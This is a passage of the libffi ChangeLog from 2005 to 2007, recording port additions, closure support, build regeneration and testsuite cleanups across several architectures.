testsuite/libffi.call/nested_struct7.c, testsuite/libffi.call/cls_sint.c, testsuite/libffi.call/nested_struct9.c, testsuite/libffi.call/cls_20byte1.c, testsuite/libffi.call/cls_multi_sshortchar.c, testsuite/libffi.call/cls_align_sint64.c, testsuite/libffi.call/cls_3byte2.c, testsuite/libffi.call/cls_multi_schar.c, testsuite/libffi.call/cls_multi_uchar.c, testsuite/libffi.call/cls_19byte.c, testsuite/libffi.call/cls_9byte1.c, testsuite/libffi.call/cls_align_float.c, testsuite/libffi.call/closure_fn1.c, testsuite/libffi.call/problem1.c, testsuite/libffi.call/closure_fn3.c, testsuite/libffi.call/cls_sshort.c, testsuite/libffi.call/closure_fn5.c, testsuite/libffi.call/cls_align_double.c, testsuite/libffi.call/cls_2byte.c, testsuite/libffi.call/nested_struct.c, testsuite/libffi.call/nested_struct10.c, testsuite/libffi.call/cls_4byte.c, testsuite/libffi.call/cls_6byte.c, testsuite/libffi.call/cls_8byte.c, testsuite/libffi.call/cls_multi_sshort.c, testsuite/libffi.call/cls_align_uint32.c, testsuite/libffi.call/cls_align_sint16.c, testsuite/libffi.call/cls_float.c, testsuite/libffi.call/cls_20byte.c, testsuite/libffi.call/cls_5_1_byte.c, testsuite/libffi.call/nested_struct2.c, testsuite/libffi.call/cls_24byte.c, testsuite/libffi.call/nested_struct4.c, testsuite/libffi.call/nested_struct6.c, testsuite/libffi.call/cls_64byte.c, testsuite/libffi.call/nested_struct8.c, testsuite/libffi.call/cls_uint.c, testsuite/libffi.call/cls_multi_ushortchar.c, testsuite/libffi.call/cls_schar.c, testsuite/libffi.call/cls_uchar.c, testsuite/libffi.call/cls_align_uint64.c, testsuite/libffi.call/cls_ulonglong.c, testsuite/libffi.call/cls_align_longdouble.c, testsuite/libffi.call/cls_1_1byte.c, testsuite/libffi.call/cls_12byte.c, testsuite/libffi.call/cls_3_1byte.c, testsuite/libffi.call/cls_3byte1.c, testsuite/libffi.call/cls_4_1byte.c, testsuite/libffi.call/cls_6_1_byte.c, testsuite/libffi.call/cls_16byte.c, testsuite/libffi.call/cls_18byte.c, testsuite/libffi.call/closure_fn0.c, testsuite/libffi.call/cls_9byte2.c, testsuite/libffi.call/closure_fn2.c, testsuite/libffi.call/closure_fn4.c, testsuite/libffi.call/cls_ushort.c, testsuite/libffi.call/closure_fn6.c, testsuite/libffi.call/cls_5byte.c, testsuite/libffi.call/cls_align_pointer.c, testsuite/libffi.call/cls_7byte.c, testsuite/libffi.call/cls_align_sint32.c, testsuite/libffi.special/unwindtest_ffi_call.cc, testsuite/libffi.special/unwindtest.cc: Enable for ARM. 2007-07-05 H.J. Lu * aclocal.m4: Regenerated. 2007-06-02 Paolo Bonzini * configure: Regenerate. 2007-05-23 Steve Ellcey * Makefile.in: Regenerate. * configure: Regenerate. * aclocal.m4: Regenerate. * include/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. 2007-05-10 Roman Zippel * src/m68k/ffi.c (ffi_prep_incoming_args_SYSV, ffi_closure_SYSV_inner,ffi_prep_closure): New, add closure support. * src/m68k/sysv.S(ffi_closure_SYSV,ffi_closure_struct_SYSV): Likewise. * src/m68k/ffitarget.h (FFI_TRAMPOLINE_SIZE): Likewise. (FFI_CLOSURES): Enable closure support. 2007-05-10 Roman Zippel * configure.ac (HAVE_AS_CFI_PSEUDO_OP): New test. * configure: Regenerate. * fficonfig.h.in: Regenerate. * src/m68k/sysv.S (CFI_STARTPROC,CFI_ENDPROC, CFI_OFFSET,CFI_DEF_CFA): New macros. (ffi_call_SYSV): Add callframe annotation. 2007-05-10 Roman Zippel * src/m68k/ffi.c (ffi_prep_args,ffi_prep_cif_machdep): Fix numerous test suite failures. * src/m68k/sysv.S (ffi_call_SYSV): Likewise. 2007-04-11 Paolo Bonzini * Makefile.am (EXTRA_DIST): Bring up to date. * Makefile.in: Regenerate. * src/frv/eabi.S: Remove RCS keyword. 2007-04-06 Richard Henderson * configure.ac: Tidy target case. (HAVE_LONG_DOUBLE): Allow the target to override. * configure: Regenerate. * include/ffi.h.in: Don't define ffi_type_foo if LIBFFI_HIDE_BASIC_TYPES is defined. (ffi_type_longdouble): If not HAVE_LONG_DOUBLE, define to ffi_type_double. * types.c (LIBFFI_HIDE_BASIC_TYPES): Define. (FFI_TYPEDEF, ffi_type_void): Mark the data const. (ffi_type_longdouble): Special case for Alpha. Don't define if long double == double. * src/alpha/ffi.c (FFI_TYPE_LONGDOUBLE): Assert unique value. (ffi_prep_cif_machdep): Handle it as the 128-bit type. (ffi_call, ffi_closure_osf_inner): Likewise. (ffi_closure_osf_inner): Likewise. Mark hidden. (ffi_call_osf, ffi_closure_osf): Mark hidden. * src/alpha/ffitarget.h (FFI_LAST_ABI): Tidy definition. * src/alpha/osf.S (ffi_call_osf, ffi_closure_osf): Mark hidden. (load_table): Handle 128-bit long double. * testsuite/libffi.call/float4.c: Add -mieee for alpha. 2007-04-06 Tom Tromey PR libffi/31491: * README: Fixed bug in example. 2007-04-03 Jakub Jelinek * src/closures.c: Include sys/statfs.h. (_GNU_SOURCE): Define on Linux. (FFI_MMAP_EXEC_SELINUX): Define. (selinux_enabled): New variable. (selinux_enabled_check): New function. (is_selinux_enabled): Define. (dlmmap): Use it. 2007-03-24 Uros Bizjak * testsuite/libffi.call/return_fl2.c (return_fl): Mark as static. Use 'volatile float sum' to create sum of floats to avoid false negative due to excess precision on ix86 targets. (main): Ditto. 2007-03-08 Alexandre Oliva * src/powerpc/ffi.c (flush_icache): Fix left-over from previous patch. (ffi_prep_closure_loc): Remove unneeded casts. Add needed ones. 2007-03-07 Alexandre Oliva * include/ffi.h.in (ffi_closure_alloc, ffi_closure_free): New. (ffi_prep_closure_loc): New. (ffi_prep_raw_closure_loc): New. (ffi_prep_java_raw_closure_loc): New. * src/closures.c: New file. * src/dlmalloc.c [FFI_MMAP_EXEC_WRIT] (struct malloc_segment): Replace sflags with exec_offset. [FFI_MMAP_EXEC_WRIT] (mmap_exec_offset, add_segment_exec_offset, sub_segment_exec_offset): New macros. (get_segment_flags, set_segment_flags, check_segment_merge): New macros. (is_mmapped_segment, is_extern_segment): Use get_segment_flags. (add_segment, sys_alloc, create_mspace, create_mspace_with_base, destroy_mspace): Use new macros. (sys_alloc): Silence warning. * Makefile.am (libffi_la_SOURCES): Add src/closures.c. * Makefile.in: Rebuilt. * src/prep_cif [FFI_CLOSURES] (ffi_prep_closure): Implement in terms of ffi_prep_closure_loc. * src/raw_api.c (ffi_prep_raw_closure_loc): Renamed and adjusted from... (ffi_prep_raw_closure): ... this. Re-implement in terms of the renamed version. * src/java_raw_api (ffi_prep_java_raw_closure_loc): Renamed and adjusted from... (ffi_prep_java_raw_closure): ... this. Re-implement in terms of the renamed version. * src/alpha/ffi.c (ffi_prep_closure_loc): Renamed from (ffi_prep_closure): ... this. * src/pa/ffi.c: Likewise. * src/cris/ffi.c: Likewise. Adjust. * src/frv/ffi.c: Likewise. * src/ia64/ffi.c: Likewise. * src/mips/ffi.c: Likewise. * src/powerpc/ffi_darwin.c: Likewise. * src/s390/ffi.c: Likewise. * src/sh/ffi.c: Likewise. * src/sh64/ffi.c: Likewise. * src/sparc/ffi.c: Likewise. * src/x86/ffi64.c: Likewise. * src/x86/ffi.c: Likewise. (FFI_INIT_TRAMPOLINE): Adjust. (ffi_prep_raw_closure_loc): Renamed and adjusted from... (ffi_prep_raw_closure): ... this. * src/powerpc/ffi.c (ffi_prep_closure_loc): Renamed from (ffi_prep_closure): ... this. (flush_icache): Adjust. 2007-03-07 Alexandre Oliva * src/dlmalloc.c: New file, imported version 2.8.3 of Doug Lea's malloc. 2007-03-01 Brooks Moses * Makefile.am: Add dummy install-pdf target. * Makefile.in: Regenerate 2007-02-13 Andreas Krebbel * src/s390/ffi.c (ffi_prep_args, ffi_prep_cif_machdep, ffi_closure_helper_SYSV): Add long double handling. 2007-02-02 Jakub Jelinek * src/powerpc/linux64.S (ffi_call_LINUX64): Move restore of r2 immediately after bctrl instruction. 2007-01-18 Alexandre Oliva * Makefile.am (all-recursive, install-recursive, mostlyclean-recursive, clean-recursive, distclean-recursive, maintainer-clean-recursive): Add missing targets. * Makefile.in: Rebuilt. 2006-12-14 Andreas Tobler * configure.ac: Add TARGET for x86_64-*-darwin*. * Makefile.am (nodist_libffi_la_SOURCES): Add rules for 64-bit sources for X86_DARWIN. * src/x86/ffitarget.h: Set trampoline size for x86_64-*-darwin*. * src/x86/darwin64.S: New file for x86_64-*-darwin* support. * configure: Regenerate. * Makefile.in: Regenerate. * include/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. * testsuite/libffi.special/unwindtest_ffi_call.cc: New test case for ffi_call only. 2006-12-13 Andreas Tobler * aclocal.m4: Regenerate with aclocal -I .. as written in the Makefile.am. 2006-10-31 Geoffrey Keating * src/powerpc/ffi_darwin.c (darwin_adjust_aggregate_sizes): New. (ffi_prep_cif_machdep): Call darwin_adjust_aggregate_sizes for Darwin. * testsuite/libffi.call/nested_struct4.c: Remove Darwin XFAIL. * testsuite/libffi.call/nested_struct6.c: Remove Darwin XFAIL. 2006-10-10 Paolo Bonzini Sandro Tolaini * configure.ac [i*86-*-darwin*]: Set X86_DARWIN symbol and conditional. * configure: Regenerated. * Makefile.am (nodist_libffi_la_SOURCES) [X86_DARWIN]: New case. (EXTRA_DIST): Add src/x86/darwin.S. * Makefile.in: Regenerated. * include/Makefile.in: Regenerated. * testsuite/Makefile.in: Regenerated. * src/x86/ffi.c (ffi_prep_cif_machdep) [X86_DARWIN]: Treat like X86_WIN32, and additionally align stack to 16 bytes. * src/x86/darwin.S: New, based on sysv.S. * src/prep_cif.c (ffi_prep_cif) [X86_DARWIN]: Align > 8-byte structs. 2006-09-12 David Daney PR libffi/23935 * include/Makefile.am: Install both ffi.h and ffitarget.h in $(libdir)/gcc/$(target_alias)/$(gcc_version)/include. * aclocal.m4: Regenerated for automake 1.9.6. * Makefile.in: Regenerated. * include/Makefile.in: Regenerated. * testsuite/Makefile.in: Regenerated. 2006-08-17 Andreas Tobler * include/ffi_common.h (struct): Revert accidental commit. 2006-08-15 Andreas Tobler * include/ffi_common.h: Remove lint directives. * include/ffi.h.in: Likewise. 2006-07-25 Torsten Schoenfeld * include/ffi.h.in (ffi_type_ulong, ffi_type_slong): Define correctly for 32-bit architectures. * testsuite/libffi.call/return_ul.c: New test case. 2006-07-19 David Daney * testsuite/libffi.call/closure_fn6.c: Remove xfail for mips, xfail remains for mips64. 2006-05-23 Carlos O'Donell * Makefile.am: Add install-html target. Add install-html to .PHONY * Makefile.in: Regenerate. * aclocal.m4: Regenerate. * include/Makefile.in: Regenerate. * testsuite/Makefile.in: Regenerate. 2006-05-18 John David Anglin * pa/ffi.c (ffi_prep_args_pa32): Load floating point arguments from stack slot. 2006-04-22 Andreas Tobler * README: Remove notice about 'Crazy Comments'. * src/debug.c: Remove lint directives. Cleanup white spaces. * src/java_raw_api.c: Likewise. * src/prep_cif.c: Likewise. * src/raw_api.c: Likewise. * src/ffitest.c: Delete. No longer needed, all test cases migrated to the testsuite. * src/arm/ffi.c: Remove lint directives. * src/m32r/ffi.c: Likewise. * src/pa/ffi.c: Likewise. * src/powerpc/ffi.c: Likewise. * src/powerpc/ffi_darwin.c: Likewise. * src/sh/ffi.c: Likewise. * src/sh64/ffi.c: Likewise. * src/x86/ffi.c: Likewise. * testsuite/libffi.call/float2.c: Likewise. * testsuite/libffi.call/promotion.c: Likewise. * testsuite/libffi.call/struct1.c: Likewise. 2006-04-13 Andreas Tobler * src/pa/hpux32.S: Correct unwind offset calculation for ffi_closure_pa32. * src/pa/linux.S: Likewise. 2006-04-12 James E Wilson PR libgcj/26483 * src/ia64/ffi.c (stf_spill, ldf_fill): Rewrite as macros. (hfa_type_load): Call stf_spill. (hfa_type_store): Call ldf_fill. (ffi_call): Adjust calls to above routines. Add local temps for macro result. 2006-04-10 Matthias Klose * testsuite/lib/libffi-dg.exp (libffi-init): Recognize multilib directory names containing underscores. 2006-04-07 James E Wilson * testsuite/libffi.call/float4.c: New testcase. 2006-04-05 John David Anglin Andreas Tobler * Makefile.am: Add PA_HPUX port. * Makefile.in: Regenerate. * include/Makefile.in: Likewise. * testsuite/Makefile.in: Likewise. * configure.ac: Add PA_HPUX rules. * configure: Regenerate. * src/pa/ffitarget.h: Rename linux target to PA_LINUX. Add PA_HPUX and PA64_HPUX. Rename FFI_LINUX ABI to FFI_PA32 ABI. (FFI_TRAMPOLINE_SIZE): Define for 32-bit HP-UX targets. (FFI_TYPE_SMALL_STRUCT2): Define. (FFI_TYPE_SMALL_STRUCT4): Likewise. (FFI_TYPE_SMALL_STRUCT8): Likewise. (FFI_TYPE_SMALL_STRUCT3): Redefine. (FFI_TYPE_SMALL_STRUCT5): Likewise. (FFI_TYPE_SMALL_STRUCT6): Likewise. (FFI_TYPE_SMALL_STRUCT7): Likewise. * src/pa/ffi.c (ROUND_DOWN): Delete. (fldw, fstw, fldd, fstd): Use '__asm__'. (ffi_struct_type): Add support for FFI_TYPE_SMALL_STRUCT2, FFI_TYPE_SMALL_STRUCT4 and FFI_TYPE_SMALL_STRUCT8. (ffi_prep_args_LINUX): Rename to ffi_prep_args_pa32. Update comment. Simplify incrementing of stack slot variable. Change type of local 'n' to unsigned int. (ffi_size_stack_LINUX): Rename to ffi_size_stack_pa32. Handle long double on PA_HPUX. (ffi_prep_cif_machdep): Likewise. (ffi_call): Likewise. (ffi_closure_inner_LINUX): Rename to ffi_closure_inner_pa32. Change return type to ffi_status. Simplify incrementing of stack slot variable. Only copy floating point argument registers when PA_LINUX is true. Reformat debug statement. Add support for FFI_TYPE_SMALL_STRUCT2, FFI_TYPE_SMALL_STRUCT4 and FFI_TYPE_SMALL_STRUCT8. (ffi_closure_LINUX): Rename to ffi_closure_pa32. Add 'extern' to declaration. (ffi_prep_closure): Make linux trampoline conditional on PA_LINUX. Add nops to cache flush. Add trampoline for PA_HPUX. * src/pa/hpux32.S: New file. * src/pa/linux.S (ffi_call_LINUX): Rename to ffi_call_pa32. Rename ffi_prep_args_LINUX to ffi_prep_args_pa32. Localize labels. Add support for 2, 4 and 8-byte small structs. Handle unaligned destinations in 3, 5, 6 and 7-byte small structs. Order argument type checks so that common argument types appear first. (ffi_closure_LINUX): Rename to ffi_closure_pa32. Rename ffi_closure_inner_LINUX to ffi_closure_inner_pa32. 2006-03-24 Alan Modra * src/powerpc/ffitarget.h (enum ffi_abi): Add FFI_LINUX. Default for 32-bit using IBM extended double format. Fix FFI_LAST_ABI. * src/powerpc/ffi.c (ffi_prep_args_SYSV): Handle linux variant of FFI_TYPE_LONGDOUBLE. (ffi_prep_args64): Assert using IBM extended double. (ffi_prep_cif_machdep): Don't munge FFI_TYPE_LONGDOUBLE type. Handle FFI_LINUX FFI_TYPE_LONGDOUBLE return and args. (ffi_call): Handle FFI_LINUX. (ffi_closure_helper_SYSV): Non FFI_LINUX long double return needs gpr3 return pointer as for struct return. Handle FFI_LINUX FFI_TYPE_LONGDOUBLE return and args. Don't increment "nf" unnecessarily. * src/powerpc/ppc_closure.S (ffi_closure_SYSV): Load both f1 and f2 for FFI_TYPE_LONGDOUBLE. Move epilogue insns into case table. Don't use r6 as pointer to results, instead use sp offset. Don't make a special call to load lr with case table address, instead use offset from previous call. * src/powerpc/sysv.S (ffi_call_SYSV): Save long double return. * src/powerpc/linux64.S (ffi_call_LINUX64): Simplify long double return. 2006-03-15 Kaz Kojima * src/sh64/ffi.c (ffi_prep_cif_machdep): Handle float arguments passed with FP registers correctly. (ffi_closure_helper_SYSV): Likewise. * src/sh64/sysv.S: Likewise. 2006-03-01 Andreas Tobler * testsuite/libffi.special/unwindtest.cc (closure_test_fn): Mark cif, args and userdata unused. (closure_test_fn1): Mark cif and userdata unused. (main): Remove unused res. 2006-02-28 Andreas Tobler * testsuite/libffi.call/call.exp: Adjust FSF address. Add test runs for -O2, -O3, -Os and the warning flags -W -Wall. * testsuite/libffi.special/special.exp: Likewise. * testsuite/libffi.call/ffitest.h: Add an __UNUSED__ macro to mark unused parameter unused for gcc or else do nothing. * testsuite/libffi.special/ffitestcxx.h: Likewise. * testsuite/libffi.call/cls_12byte.c (cls_struct_12byte_gn): Mark cif and userdata unused. * testsuite/libffi.call/cls_16byte.c (cls_struct_16byte_gn): Likewise. * testsuite/libffi.call/cls_18byte.c (cls_struct_18byte_gn): Likewise. * testsuite/libffi.call/cls_19byte.c (cls_struct_19byte_gn): Likewise. * testsuite/libffi.call/cls_1_1byte.c (cls_struct_1_1byte_gn): Likewise. * testsuite/libffi.call/cls_20byte.c (cls_struct_20byte_gn): Likewise. * testsuite/libffi.call/cls_20byte1.c (cls_struct_20byte_gn): Likewise. * testsuite/libffi.call/cls_24byte.c (cls_struct_24byte_gn): Likewise. * testsuite/libffi.call/cls_2byte.c (cls_struct_2byte_gn): Likewise. * testsuite/libffi.call/cls_3_1byte.c (cls_struct_3_1byte_gn): Likewise. * testsuite/libffi.call/cls_3byte1.c (cls_struct_3byte_gn): Likewise. * testsuite/libffi.call/cls_3byte2.c (cls_struct_3byte_gn1): Likewise. * testsuite/libffi.call/cls_4_1byte.c (cls_struct_4_1byte_gn): Likewise. * testsuite/libffi.call/cls_4byte.c (cls_struct_4byte_gn): Likewise. * testsuite/libffi.call/cls_5_1_byte.c (cls_struct_5byte_gn): Likewise. * testsuite/libffi.call/cls_5byte.c (cls_struct_5byte_gn): Likewise. * testsuite/libffi.call/cls_64byte.c (cls_struct_64byte_gn): Likewise. * testsuite/libffi.call/cls_6_1_byte.c (cls_struct_6byte_gn): Likewise. * testsuite/libffi.call/cls_6byte.c (cls_struct_6byte_gn): Likewise. * testsuite/libffi.call/cls_7_1_byte.c (cls_struct_7byte_gn): Likewise. * testsuite/libffi.call/cls_7byte.c (cls_struct_7byte_gn): Likewise. * testsuite/libffi.call/cls_8byte.c (cls_struct_8byte_gn): Likewise. * testsuite/libffi.call/cls_9byte1.c (cls_struct_9byte_gn): Likewise. * testsuite/libffi.call/cls_9byte2.c (cls_struct_9byte_gn): Likewise. * testsuite/libffi.call/cls_align_double.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_align_float.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_align_longdouble.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_align_pointer.c (cls_struct_align_fn): Cast void* to avoid compiler warning. (main): Likewise. (cls_struct_align_gn): Mark cif and userdata unused. * testsuite/libffi.call/cls_align_sint16.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_align_sint32.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_align_sint64.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_align_uint16.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_align_uint32.c (cls_struct_align_gn): Likewise. * testsuite/libffi.call/cls_double.c (cls_ret_double_fn): Likewise. * testsuite/libffi.call/cls_float.c (cls_ret_float_fn): Likewise. * testsuite/libffi.call/cls_multi_schar.c (test_func_gn): Mark cif and data unused. (main): Cast res_call to silence gcc. * testsuite/libffi.call/cls_multi_sshort.c (test_func_gn): Mark cif and data unused. (main): Cast res_call to silence gcc. * testsuite/libffi.call/cls_multi_sshortchar.c (test_func_gn): Mark cif and data unused. (main): Cast res_call to silence gcc. * testsuite/libffi.call/cls_multi_uchar.c (test_func_gn): Mark cif and data unused. (main): Cast res_call to silence gcc. * testsuite/libffi.call/cls_multi_ushort.c (test_func_gn): Mark cif and data unused. (main): Cast res_call to silence gcc. * testsuite/libffi.call/cls_multi_ushortchar.c (test_func_gn): Mark cif and data unused. (main): Cast res_call to silence gcc. * testsuite/libffi.call/cls_schar.c (cls_ret_schar_fn): Mark cif and userdata unused. (cls_ret_schar_fn): Cast printf parameter to silence gcc. * testsuite/libffi.call/cls_sint.c (cls_ret_sint_fn): Mark cif and userdata unused. (cls_ret_sint_fn): Cast printf parameter to silence gcc. * testsuite/libffi.call/cls_sshort.c (cls_ret_sshort_fn): Mark cif and userdata unused. (cls_ret_sshort_fn): Cast printf parameter to silence gcc. * testsuite/libffi.call/cls_uchar.c (cls_ret_uchar_fn): Mark cif and userdata unused. (cls_ret_uchar_fn): Cast printf parameter to silence gcc. * testsuite/libffi.call/cls_uint.c (cls_ret_uint_fn): Mark cif and userdata unused. (cls_ret_uint_fn): Cast printf parameter to silence gcc. * testsuite/libffi.call/cls_ulonglong.c (cls_ret_ulonglong_fn): Mark cif and userdata unused. * testsuite/libffi.call/cls_ushort.c (cls_ret_ushort_fn): Mark cif and userdata unused. (cls_ret_ushort_fn): Cast printf parameter to silence gcc. * testsuite/libffi.call/float.c (floating): Remove unused parameter e. * testsuite/libffi.call/float1.c (main): Remove unused variable i. Cleanup white spaces. * testsuite/libffi.call/negint.c (checking): Remove unused variable i. * testsuite/libffi.call/nested_struct.c (cls_struct_combined_gn): Mark cif and userdata unused. * testsuite/libffi.call/nested_struct1.c (cls_struct_combined_gn): Likewise. * testsuite/libffi.call/nested_struct10.c (B_gn): Likewise. * testsuite/libffi.call/nested_struct2.c (B_fn): Adjust printf formatters to silence gcc. (B_gn): Mark cif and userdata unused. * testsuite/libffi.call/nested_struct3.c (B_gn): Mark cif and userdata unused. * testsuite/libffi.call/nested_struct4.c: Mention related PR. (B_gn): Mark cif and userdata unused. * testsuite/libffi.call/nested_struct5.c (B_gn): Mark cif and userdata unused. * testsuite/libffi.call/nested_struct6.c: Mention related PR. (B_gn): Mark cif and userdata unused. * testsuite/libffi.call/nested_struct7.c (B_gn): Mark cif and userdata unused. * testsuite/libffi.call/nested_struct8.c (B_gn): Likewise. * testsuite/libffi.call/nested_struct9.c (B_gn): Likewise. * testsuite/libffi.call/problem1.c (stub): Likewise. * testsuite/libffi.call/pyobjc-tc.c (main): Cast the result to silence gcc. * testsuite/libffi.call/return_fl2.c (return_fl): Add the note mentioned in the last commit for this test case in the test case itself. * testsuite/libffi.call/closure_fn0.c (closure_test_fn0): Mark cif as unused. * testsuite/libffi.call/closure_fn1.c (closure_test_fn1): Likewise. * testsuite/libffi.call/closure_fn2.c (closure_test_fn2): Likewise. * testsuite/libffi.call/closure_fn3.c (closure_test_fn3): Likewise. * testsuite/libffi.call/closure_fn4.c (closure_test_fn0): Likewise. * testsuite/libffi.call/closure_fn5.c (closure_test_fn5): Likewise. * testsuite/libffi.call/closure_fn6.c (closure_test_fn0): Likewise. 2006-02-22 Kaz Kojima * src/sh/sysv.S: Fix register numbers in the FDE for ffi_closure_SYSV. 2006-02-20 Andreas Tobler * testsuite/libffi.call/return_fl2.c (return_fl): Remove static declaration to avoid a false negative on ix86. See PR323. 2006-02-18 Kaz Kojima * src/sh/ffi.c (ffi_closure_helper_SYSV): Remove unused variable and cast integer to void * if needed. Update the pointer to the FP register saved area correctly. 2006-02-17 Andreas Tobler * testsuite/libffi.call/nested_struct6.c: XFAIL this test until PR25630 is fixed. * testsuite/libffi.call/nested_struct4.c: Likewise. 2006-02-16 Andreas Tobler * testsuite/libffi.call/return_dbl.c: New test case. * testsuite/libffi.call/return_dbl1.c: Likewise. * testsuite/libffi.call/return_dbl2.c: Likewise. * testsuite/libffi.call/return_fl.c: Likewise. * testsuite/libffi.call/return_fl1.c: Likewise. * testsuite/libffi.call/return_fl2.c: Likewise. * testsuite/libffi.call/return_fl3.c: Likewise. * testsuite/libffi.call/closure_fn6.c: Likewise. * testsuite/libffi.call/nested_struct2.c: Remove ffi_type_mylong definition. * testsuite/libffi.call/ffitest.h: Add ffi_type_mylong definition here to be used by other test cases too. * testsuite/libffi.call/nested_struct10.c: New test case. * testsuite/libffi.call/nested_struct9.c: Likewise. * testsuite/libffi.call/nested_struct8.c: Likewise. * testsuite/libffi.call/nested_struct7.c: Likewise. * testsuite/libffi.call/nested_struct6.c: Likewise. * testsuite/libffi.call/nested_struct5.c: Likewise. * testsuite/libffi.call/nested_struct4.c: Likewise. 2006-01-21 Andreas Tobler * configure.ac: Enable libffi for sparc64-*-freebsd*. * configure: Rebuilt. 2006-01-18 Jakub Jelinek * src/powerpc/sysv.S (smst_two_register): Don't call __ashldi3, instead do the shifting inline. * src/powerpc/ppc_closure.S (ffi_closure_SYSV): Don't compute %r5 shift count unconditionally. Simplify load sequences for 1, 2, 3, 4 and 8 byte structs, for the remaining struct sizes don't call __lshrdi3, instead do the shifting inline. 2005-12-07 Thiemo Seufer * src/mips/ffitarget.h: Remove obsolete sgidefs.h include. Add missing parentheses. * src/mips/o32.S (ffi_call_O32): Code formatting. Define and use A3_OFF, FP_OFF, RA_OFF. Micro-optimizations. (ffi_closure_O32): Likewise, but with newly defined A3_OFF2, A2_OFF2, A1_OFF2, A0_OFF2, RA_OFF2, FP_OFF2, S0_OFF2, GP_OFF2, V1_OFF2, V0_OFF2, FA_1_1_OFF2, FA_1_0_OFF2, FA_0_1_OFF2, FA_0_0_OFF2. * src/mips/ffi.c (ffi_prep_args): Code formatting. Fix endianness bugs. (ffi_prep_closure): Improve trampoline instruction scheduling. (ffi_closure_mips_inner_O32): Fix endianness bugs. 2005-12-03 Alan Modra * src/powerpc/ffi.c: Formatting. (ffi_prep_args_SYSV): Avoid possible aliasing problems by using unions. (ffi_prep_args64): Likewise. 2005-09-30 Geoffrey Keating * testsuite/lib/libffi-dg.exp (libffi_target_compile): For darwin, use -shared-libgcc not -lgcc_s, and explain why. 2005-09-26 Tom Tromey * testsuite/libffi.call/float1.c (value_type): New typedef. (CANARY): New define. (main): Check for result buffer overflow. * src/powerpc/linux64.S: Handle linux64 long double returns. * src/powerpc/ffi.c (FLAG_RETURNS_128BITS): New constant. (ffi_prep_cif_machdep): Handle linux64 long double returns. 2005-08-25 Alan Modra PR target/23404 * src/powerpc/ffi.c (ffi_prep_args_SYSV): Correct placement of stack homed fp args. (ffi_status ffi_prep_cif_machdep): Correct stack sizing for same. 2005-08-11 Jakub Jelinek * configure.ac (HAVE_HIDDEN_VISIBILITY_ATTRIBUTE): New test. (AH_BOTTOM): Add FFI_HIDDEN definition. * configure: Rebuilt. * fficonfig.h.in: Rebuilt. * src/powerpc/ffi.c (hidden): Remove. (ffi_closure_LINUX64, ffi_prep_args64, ffi_call_LINUX64, ffi_closure_helper_LINUX64): Use FFI_HIDDEN instead of hidden. * src/powerpc/linux64_closure.S (ffi_closure_LINUX64, .ffi_closure_LINUX64): Use FFI_HIDDEN instead of .hidden. * src/x86/ffi.c (ffi_closure_SYSV, ffi_closure_raw_SYSV): Remove, add FFI_HIDDEN to its prototype. (ffi_closure_SYSV_inner): New. * src/x86/sysv.S (ffi_closure_SYSV, ffi_closure_raw_SYSV): New. * src/x86/win32.S (ffi_closure_SYSV, ffi_closure_raw_SYSV): New. 2005-08-10 Alfred M. Szmidt PR libffi/21819: * configure: Rebuilt. * configure.ac: Handle i*86-*-gnu*. 2005-08-09 Jakub Jelinek * src/powerpc/ppc_closure.S (ffi_closure_SYSV): Use DW_CFA_offset_extended_sf rather than DW_CFA_GNU_negative_offset_extended. * src/powerpc/sysv.S (ffi_call_SYSV): Likewise. 2005-07-22 SUGIOKA Toshinobu * src/sh/sysv.S (ffi_call_SYSV): Stop argument popping correctly on sh3. (ffi_closure_SYSV): Change the stack layout for sh3 struct argument. * src/sh/ffi.c (ffi_prep_args): Fix sh3 argument copy, when it is partially on register. (ffi_closure_helper_SYSV): Likewise. (ffi_prep_cif_machdep): Don't set too many cif->flags. 2005-07-20 Kaz Kojima * src/sh/ffi.c (ffi_call): Handle small structures correctly. Remove empty line. * src/sh64/ffi.c (simple_type): Remove. (return_type): Handle small structures correctly. (ffi_prep_args): Likewise. (ffi_call): Likewise. (ffi_closure_helper_SYSV): Likewise. * src/sh64/sysv.S (ffi_call_SYSV): Handle 1, 2 and 4-byte return. Emit position independent code if PIC and remove wrong datalabel prefixes from EH data. 2005-07-19 Andreas Tobler * Makefile.am (nodist_libffi_la_SOURCES): Add POWERPC_FREEBSD. * Makefile.in: Regenerate. * include/Makefile.in: Likewise. * testsuite/Makefile.in: Likewise. * configure.ac: Add POWERPC_FREEBSD rules. * configure: Regenerate. * src/powerpc/ffitarget.h: Add POWERPC_FREEBSD rules. (FFI_SYSV_TYPE_SMALL_STRUCT): Define. * src/powerpc/ffi.c: Add flags to handle small structure returns in ffi_call_SYSV. (ffi_prep_cif_machdep): Handle small structures for SYSV 4 ABI. Aka FFI_SYSV. (ffi_closure_helper_SYSV): Likewise. * src/powerpc/ppc_closure.S: Add return types for small structures. * src/powerpc/sysv.S: Add bits to handle small structures for final SYSV 4 ABI. 2005-07-10 Andreas Tobler * testsuite/libffi.call/cls_5_1_byte.c: New test file. * testsuite/libffi.call/cls_6_1_byte.c: Likewise. * testsuite/libffi.call/cls_7_1_byte.c: Likewise. 2005-07-05 Randolph Chung * src/pa/ffi.c (ffi_struct_type): Rename FFI_TYPE_SMALL_STRUCT1 as FFI_TYPE_SMALL_STRUCT3. Break out handling for 5-7 byte structures. Kill compilation warnings. (ffi_closure_inner_LINUX): Print return values as hex in debug message. Rename FFI_TYPE_SMALL_STRUCT1 as FFI_TYPE_SMALL_STRUCT3. Properly handle 5-7 byte structure returns. * src/pa/ffitarget.h (FFI_TYPE_SMALL_STRUCT1) (FFI_TYPE_SMALL_STRUCT2): Remove. (FFI_TYPE_SMALL_STRUCT3, FFI_TYPE_SMALL_STRUCT5) (FFI_TYPE_SMALL_STRUCT6, FFI_TYPE_SMALL_STRUCT7): Define. * src/pa/linux.S: Mark source file as using PA1.1 assembly. (checksmst1, checksmst2): Remove. (checksmst3): Optimize handling of 3-byte struct returns. (checksmst567): Properly handle 5-7 byte struct returns. 2005-06-15 Rainer Orth PR libgcj/21943 * src/mips/n32.S: Enforce PIC code. * src/mips/o32.S: Likewise. 